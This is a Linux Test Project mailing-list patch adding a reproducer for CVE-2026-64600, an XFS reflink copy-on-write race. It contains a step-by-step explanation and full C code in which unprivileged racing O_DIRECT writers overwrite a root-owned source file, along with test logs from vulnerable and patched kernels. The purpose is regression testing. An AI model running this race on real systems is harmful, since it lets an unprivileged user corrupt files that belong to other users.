[LTP] [PATCH] cve: reproducer for cve-2026-64600
Andrea Cervesato
andrea.cervesato@suse.de
Fri Jul 24 10:28:20 CEST 2026
From: Andrea Cervesato <andrea.cervesato@suse.com>
Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
reflink copy-on-write path for direct I/O writes. The bug was introduced
in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
the data fork mapping after cycling ILOCK").
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
This reproducer has been created with the usage of Kimi K3 (as analyzer
and writer) and DeepSeek v4 Flash (Max) as reviewer, by taking the
RefluXFS technical paper as input:
https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt
On bugged kernel:
tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #21 SMP PREEMPT_DYNAMIC Fri Jul 24 10:20:05 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
cve-2026-64600.c:233: TFAIL: round 0: racing O_DIRECT write to the clone succeeded
[ 1.252815] cve-2026-646
HINT: You _MAY_ be missing kernel fixes:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2f4acd0fcd86
HINT: You _MAY_ be vulnerable to CVE(s):
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600
Summary:
passed 0
failed 1
broken 0
skipped 0
warnings 0
On patched kernel:
tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #20 SMP PREEMPT_DYNAMIC Fri Jul 24 10:08:53 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
[ 1.665909] clocksource: Watchdog remote CPU 2 read timed out
[ 8.099229] cve-2026-64600 (249) used greatest stack depth: 12216 bytes left
cve-2026-64600.c:242: TPASS: Source file survived racing O_DIRECT writers
Summary:
passed 1
failed 0
broken 0
skipped 0
warnings 0
---
runtest/cve | 1 +
testcases/kernel/fs/xfs/.gitignore | 1 +
testcases/kernel/fs/xfs/Makefile | 7 +
testcases/kernel/fs/xfs/cve-2026-64600.c | 283 +++++++++++++++++++++++++++++++
4 files changed, 292 insertions(+)
diff --git a/runtest/cve b/runtest/cve
index 3bbcfd6a2f2fb204fc6ae4ba89b5a7554c2fcbc5..388d471b9d138004207cdef5414e3e78d1980a32 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -100,3 +100,4 @@ cve-2026-43494 io_uring04
cve-2026-46300 xfrm02
cve-2026-46300-skb-segment xfrm03
cve-2026-46331 cve-2026-46331
+cve-2026-64600 cve-2026-64600
diff --git a/testcases/kernel/fs/xfs/.gitignore b/testcases/kernel/fs/xfs/.gitignore
new file mode 100644
index 0000000000000000000000000000000000000000..2b287f6c1195c1307ee8629a282fc4d3f759e5ed
--- /dev/null
+++ b/testcases/kernel/fs/xfs/.gitignore
@@ -0,0 +1 @@
+/cve-2026-64600
diff --git a/testcases/kernel/fs/xfs/Makefile b/testcases/kernel/fs/xfs/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..699efd876f25cb3cd5d86dfe001404f8ebfc4d51
--- /dev/null
+++ b/testcases/kernel/fs/xfs/Makefile
@@ -0,0 +1,7 @@
+top_srcdir ?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+LDLIBS += -lpthread
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/fs/xfs/cve-2026-64600.c b/testcases/kernel/fs/xfs/cve-2026-64600.c
new file mode 100644
index 0000000000000000000000000000000000000000..0bca95f8f2ad31f0269de07625d28d733092ef49
--- /dev/null
+++ b/testcases/kernel/fs/xfs/cve-2026-64600.c
@@ -0,0 +1,283 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
+ * reflink copy-on-write path for direct I/O writes. The bug was introduced
+ * in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
+ * blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
+ * the data fork mapping after cycling ILOCK").
+ *
+ * When an :manpage:`ioctl(2)` FICLONE clone is written via ``O_DIRECT``,
+ * ``xfs_direct_write_iomap_begin()`` samples the clone's data-fork mapping
+ * under ILOCK and calls ``xfs_reflink_allocate_cow()``, which drops the
+ * ILOCK to allocate a transaction and then re-checks whether the *stale*
+ * physical block is still shared. If a second racing ``O_DIRECT`` writer
+ * completes a full copy-on-write cycle inside that lock-drop window, the
+ * old shared block's refcount drops to one, the first writer takes the
+ * "not shared, write in place" branch, and its write is submitted to the
+ * physical block that now belongs only to the reflink source file,
+ * corrupting it on disk.
+ *
+ * [Algorithm]
+ *
+ * - Create a root-owned target file on a reflink-enabled XFS and fill
+ * its first block with a known pattern
+ * - Drop privileges to the unprivileged user ``nobody``
+ * - Positive control: a single ``O_DIRECT`` write to a fresh clone must
+ * be copy-on-written and leave the target untouched
+ * - Each round: reflink-clone the target into a scratch clone file and
+ * release a barrier of threads, each issuing one block-sized
+ * ``O_DIRECT`` :manpage:`pwrite(2)` at offset 0 of the clone
+ * - Background threads loop on write/fdatasync/truncate cycles to stall
+ * transaction allocation on log space and widen the lock-drop window
+ * - After each round, read back the target's first block bypassing the
+ * page cache (``O_DIRECT``): any byte differing from the original
+ * pattern means a racing write refluxed into the source file and the
+ * kernel is vulnerable
+ *
+ * Root privilege is regained in cleanup() so the library can unmount
+ * the loop device.
+ */
+
+#define _GNU_SOURCE
+
+#include <pwd.h>
+
+#include "tst_test.h"
+#include "tst_safe_pthread.h"
+#include "tst_safe_prw.h"
+#include "lapi/ficlone.h"
+
+#define MNTPOINT "mnt"
+#define WORKDIR MNTPOINT "/work"
+#define TARGET WORKDIR "/target"
+#define CLONE WORKDIR "/clone"
+#define SCRATCH_FMT WORKDIR "/scratch%d"
+
+#define BLKSIZE 4096
+#define NWRITERS 32
+#define NPRESSURE 16
+#define MAX_ROUNDS 5000
+
+static char *tbuf, *wbuf, *rbuf;
+
+static int target_fd = -1;
+static int target_dio_fd = -1;
+static int clone_fd = -1;
+
+static pthread_t writers[NWRITERS];
+static pthread_t pressure_threads[NPRESSURE];
+static pthread_barrier_t barrier;
+static int barrier_initialized;
+static volatile sig_atomic_t stop_pressure;
+static int pressure_running;
+static int privileges_dropped;
+
+static void *writer_fn(void *arg)
+{
+ int fd;
+
+ (void)arg;
+
+ fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+
+ SAFE_PTHREAD_BARRIER_WAIT(&barrier);
+
+ SAFE_PWRITE(1, fd, wbuf, BLKSIZE, 0);
+ SAFE_CLOSE(fd);
+
+ return NULL;
+}
+
+static void *pressure_fn(void *arg)
+{
+ char path[PATH_MAX];
+ int fd;
+
+ snprintf(path, sizeof(path), SCRATCH_FMT, (int)(long)arg);
+
+ fd = SAFE_OPEN(path, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+ while (!stop_pressure) {
+ SAFE_PWRITE(1, fd, wbuf, BLKSIZE, 0);
+ SAFE_FTRUNCATE(fd, 0);
+ SAFE_FSYNC(fd);
+ }
+
+ SAFE_CLOSE(fd);
+
+ return NULL;
+}
+
+static void stop_pressure_threads(void)
+{
+ if (!pressure_running)
+ return;
+
+ stop_pressure = 1;
+
+ for (int i = 0; i < NPRESSURE; i++)
+ SAFE_PTHREAD_JOIN(pressure_threads[i], NULL);
+
+ pressure_running = 0;
+}
+
+static void drop_privileges(void)
+{
+ struct passwd *pw;
+
+ pw = SAFE_GETPWNAM("nobody");
+ SAFE_SETEGID(pw->pw_gid);
+ SAFE_SETEUID(pw->pw_uid);
+
+ privileges_dropped = 1;
+}
+
+static void restore_privileges(void)
+{
+ if (!privileges_dropped)
+ return;
+
+ SAFE_SETEUID(0);
+ SAFE_SETEGID(0);
+
+ privileges_dropped = 0;
+}
+
+static void setup(void)
+{
+ int probe_fd, probe_dio_fd;
+
+ tbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE);
+ wbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE);
+ rbuf = SAFE_MEMALIGN(BLKSIZE, BLKSIZE);
+
+ memset(tbuf, 'A', BLKSIZE);
+ memset(wbuf, 'X', BLKSIZE);
+ memset(rbuf, 0, BLKSIZE);
+
+ SAFE_MKDIR(WORKDIR, 0700);
+ SAFE_CHMOD(WORKDIR, 0777);
+
+ target_fd = SAFE_OPEN(TARGET, O_RDWR | O_CREAT | O_TRUNC, 0644);
+ SAFE_WRITE(1, target_fd, tbuf, BLKSIZE);
+ SAFE_FSYNC(target_fd);
+ SAFE_CLOSE(target_fd);
+
+ drop_privileges();
+
+ target_fd = SAFE_OPEN(TARGET, O_RDONLY);
+ probe_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+ TEST(ioctl(probe_fd, FICLONE, target_fd));
+ if (TST_RET == -1) {
+ if (TST_ERR == EOPNOTSUPP || TST_ERR == EINVAL || TST_ERR == ENOSYS) {
+ tst_brk(TCONF, "reflink clones not supported: %s",
+ tst_strerrno(TST_ERR));
+ }
+
+ tst_brk(TBROK | TTERRNO, "ioctl(FICLONE) failed");
+ }
+
+ probe_dio_fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+ SAFE_PWRITE(1, probe_dio_fd, wbuf, BLKSIZE, 0);
+ SAFE_CLOSE(probe_dio_fd);
+ SAFE_CLOSE(probe_fd);
+
+ /* The racy write bypasses the target's page cache, so must the read */
+ target_dio_fd = SAFE_OPEN(TARGET, O_RDONLY | O_DIRECT);
+
+ SAFE_PREAD(1, target_dio_fd, rbuf, BLKSIZE, 0);
+ if (memcmp(rbuf, tbuf, BLKSIZE))
+ tst_brk(TBROK, "Source file modified by a single O_DIRECT write to the clone");
+
+ SAFE_PTHREAD_BARRIER_INIT(&barrier, NULL, NWRITERS + 1);
+ barrier_initialized = 1;
+}
+
+static void run(void)
+{
+ int i, round, corrupted = 0;
+
+ stop_pressure = 0;
+
+ for (i = 0; i < NPRESSURE; i++)
+ SAFE_PTHREAD_CREATE(&pressure_threads[i], NULL, pressure_fn,
+ (void *)(long)i);
+ pressure_running = 1;
+
+ for (round = 0; round < MAX_ROUNDS; round++) {
+ clone_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+ /*
+ * target_fd is O_RDONLY opened as "nobody". FICLONE
+ * checks inode permission against our effective UID.
+ */
+ SAFE_IOCTL(clone_fd, FICLONE, target_fd);
+ SAFE_CLOSE(clone_fd);
+
+ for (i = 0; i < NWRITERS; i++)
+ SAFE_PTHREAD_CREATE(&writers[i], NULL, writer_fn, NULL);
+
+ SAFE_PTHREAD_BARRIER_WAIT(&barrier);
+
+ for (i = 0; i < NWRITERS; i++)
+ SAFE_PTHREAD_JOIN(writers[i], NULL);
+
+ SAFE_PREAD(1, target_dio_fd, rbuf, BLKSIZE, 0);
+
+ if (memcmp(rbuf, tbuf, BLKSIZE)) {
+ tst_res(TFAIL, "round %d: racing O_DIRECT write to the clone succeeded", round);
+ corrupted = 1;
+ break;
+ }
+ }
+
+ stop_pressure_threads();
+
+ if (!corrupted)
+ tst_res(TPASS, "Source file survived racing O_DIRECT writers");
+}
+
+static void cleanup(void)
+{
+ stop_pressure_threads();
+ restore_privileges();
+
+ if (barrier_initialized)
+ SAFE_PTHREAD_BARRIER_DESTROY(&barrier);
+
+ if (target_dio_fd != -1)
+ SAFE_CLOSE(target_dio_fd);
+
+ if (target_fd != -1)
+ SAFE_CLOSE(target_fd);
+
+ if (clone_fd != -1)
+ SAFE_CLOSE(clone_fd);
+
+ free(tbuf);
+ free(wbuf);
+ free(rbuf);
+}
+
+static struct tst_test test = {
+ .test_all = run,
+ .setup = setup,
+ .cleanup = cleanup,
+ .needs_root = 1,
+ .mount_device = 1,
+ .mntpoint = MNTPOINT,
+ .filesystems = (struct tst_fs []) {
+ {.type = "xfs"},
+ {}
+ },
+ .tags = (const struct tst_tag[]) {
+ {"linux-git", "2f4acd0fcd86"},
+ {"CVE", "2026-64600"},
+ {}
+ },
+};
---
base-commit: d12a6186b60491cfa72e10944bd312e75b684c5e
change-id: 20260724-cve-2026-64600-53fd6d627d63
Best regards,
--
Andrea Cervesato <andrea.cervesato@suse.com>
More information about the ltp
mailing list